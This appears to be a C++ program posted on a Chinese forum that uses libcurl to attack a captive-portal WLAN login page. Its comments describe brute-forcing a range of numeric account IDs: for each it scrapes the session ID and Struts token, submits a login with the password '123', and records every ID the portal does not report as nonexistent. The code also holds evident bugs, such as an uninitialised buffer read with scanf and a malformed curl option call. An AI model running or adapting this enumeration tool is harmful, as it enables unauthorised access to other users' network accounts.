[C++] 纯文本查看 复制代码#include
#include
#include "include/curl/curl.h"
size_t process_data(void* buffer, size_t size, size_t nmemb, void* user_p)
{
strcat((char*)user_p, (char*)buffer);
return size*nmemb;
}
int main(int argc, char* argv) {
//初始化curl
CURL* pEasyHandle = curl_easy_init();
CURLcode code;
int m,n;//方便多开,输入m,n代表爆破从m到n的账号(610000-619999)
scanf("%d%d",&m,&n);
char* f;
scanf("%s",f);//保存文件
CString v=f;
v.Format("%s.txt",v);
FILE* fp=fopen(v,"w");
for(int i=m;i<=n;++i)
{
printf("%d\n",i);//当前账号名
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b"); //登录地址
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet[100000] = {0};//返回信息
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
CString ret=szRet;
int pos1=ret.Find("JSESSIONID=");//定位sessionid
CString session=ret.Mid(pos1+11,32);//32位seesionid
int pos2=ret.Find("TOKEN\" value=\"");//取得当前TOKEN
CString token=ret.Mid(pos2+14,32);
CString po;
//提交数据
po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=123&submit=Login",token,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);//提交地址
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet2[1024] = {0};//返回信息
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
code = curl_easy_perform(pEasyHandle);
ret=szRet2;
if(ret.Find("帐号不存在")==-1)//不是账号不存在(账号名有效)
fprintf(fp,"%d\n",i);//保存到文件
//printf("%s\n",szRet2);
/*Sleep(sp);
cnt++;
if(cnt%10 == 0)
printf("%d\n",cnt);*/
}
fclose(fp);
curl_easy_cleanup(pEasyHandle);
getchar();
return 0;
}